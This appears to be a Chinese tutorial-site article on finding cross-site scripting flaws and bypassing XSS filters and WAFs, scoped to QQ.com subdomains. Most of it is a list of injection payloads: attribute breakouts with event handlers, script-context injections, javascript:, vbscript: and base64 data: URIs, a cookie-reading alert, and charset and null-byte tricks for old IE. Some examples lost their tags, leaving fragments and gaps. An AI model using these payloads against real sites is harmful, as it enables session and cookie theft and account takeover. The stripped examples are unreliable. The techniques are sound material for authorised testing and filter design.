一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

XSS检测经验与技巧总结及Bypass xss过滤的测试方法

时间:2015-08-08 编辑:简简单单 来源:一聚教程网

XSS检测经验与技巧总结如下


1.找到一切QQ.com域下的子站


通常找子域名的方法我选择用第三方的 fofa.so 和 5118.com 基本找到很多,有时候闲着蛋疼也写了个子域名爆破工具,但是如果不基于词语字典而是挨个字符爆破,这个样本是非常大的,也不太现实。所以QQ.COM域下的子站构造出的XSS,基本上都能构成威胁更大的CSRF。


2.不放过任何一个输入输出


其实可以用脚本帮助我们完成这一切,当你选定一个子域名,进去,按下F12,监控所有的HTTP请求吧!无论是get/post,只要你输入的字符串有了输出,测试它!无论是callback还是content,一切参数都别放过!


3.所有的输出点


有时候你会发现输入的参数输出在了 html标签的 某项属性中,比如 value=”输入” 那么就考虑闭合双引号,或者有时候它甚至会出现在


看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert,prompt,confirm字符,再尝试大小写的组合:



4)如果过滤器仅仅是把标签过滤掉,那么可以用


ipt>alert(1)ipt>


的方式来绕过,这样当 // 通杀所有浏览器


opera中可以不闭合



实体编码


很多情况下WAF会实体编码用户的输入数据,


javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定:


属性:


href=

action=

formaction=

location=

on*=

name=

background=

poster=

src=

code=


支持的编码方式:HTML,八进制,十进制,十六进制和Unicode


属性:


data=


支持的编码:base64


基于上下文的过滤


WAF最大的问题,在于不知道输出的位置的上下文,导致根据具体环境可以绕过。

输入在属性里



可控位置为XSStest,可以使用


">


如果< >被过滤的话可以换成


" autofocus onfocus=alert(1)//


同样还有很多其他的payload:


"onmouseover=" prompt(0)x="

"onfocusin=alert(1) autofocusx="

" onfocusout=alert(1) autofocus x="

"onblur=alert(1) autofocusa="


输入在script标签中


例如:



可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了


";alert(1)//


最终结果就是



非常规的事件监听


例如:


";document.body.addEventListener("DOMActivate",alert(1))//

";document.body.addEventListener("DOMActivate",prompt(1))//

";document.body.addEventListener("DOMActivate",confirm(1))//


下面是一些相同的类:


DOMAttrModified

DOMCharacterDataModified

DOMFocusIn

DOMFocusOut

DOMMouseScroll

DOMNodeInserted

DOMNodeInsertedIntoDocument

DOMNodeRemoved

DOMNodeRemovedFromDocument

DOMSubtreeModified


HREF内容可控


例如:


Click


可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:


javascript:alert(1)//


最后组合为:


Click


变换


使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。

JavaScript变换


使用javascript协议时可使用的例子:


javascript:alert(1)

javaSCRIPT:alert(1)

JaVaScRipT:alert(1)

javas cript:\u0061lert(1);

javascript:\u0061lert(1)

javascript:alert(document.cookie)


Vbscript变换


vbscript:alert(1);

vbscript:alert(1);

vbscr ipt:alert(1)"

Data URl

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==


JSON


当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了


encodeURIComponent('userinput')


userinput处可控,测试代码:


-alert(1)-

-prompt(1)-

-confirm(1)-


最终结果:


encodeURIComponent("-alert(1)-")

encodeURIComponent("-prompt(1)-")


SVG标签


当返回结果在svg标签中的时候,会有一个特性



YourInput可控,输入


www.site.com/test.php?var=text";alert(1)//


如果把"编码一些他仍然能够执行:



浏览器bug


字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。


http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS


这个页面当中我们可控当前页面的字符集,当我们常规的测试时:


http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=">


返回结果可以看到双引号被编码了:


\


 


设置字符集为UTF-32:


http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80


上面这个在IE9及以下版本可以执行成功。


利用0字节绕过:


alert(1);

alert(1);

confirm(0);


在IE9及以下版本有效。


其他等等一系列浏览器特性的XSS可以参考以下文章:


http://drops.wooyun.org/tips/147


0x02 总结


本文主要是一个测试XSS的思路流程,并没有把所有的payload写全,其实也没有人能够写全,只是列了一个大体的框架,大家实际在寻找的过程中可以不断慢慢的根据这种思路补充自己的payload,想必呢,一定会有很大的进步的!~


热门栏目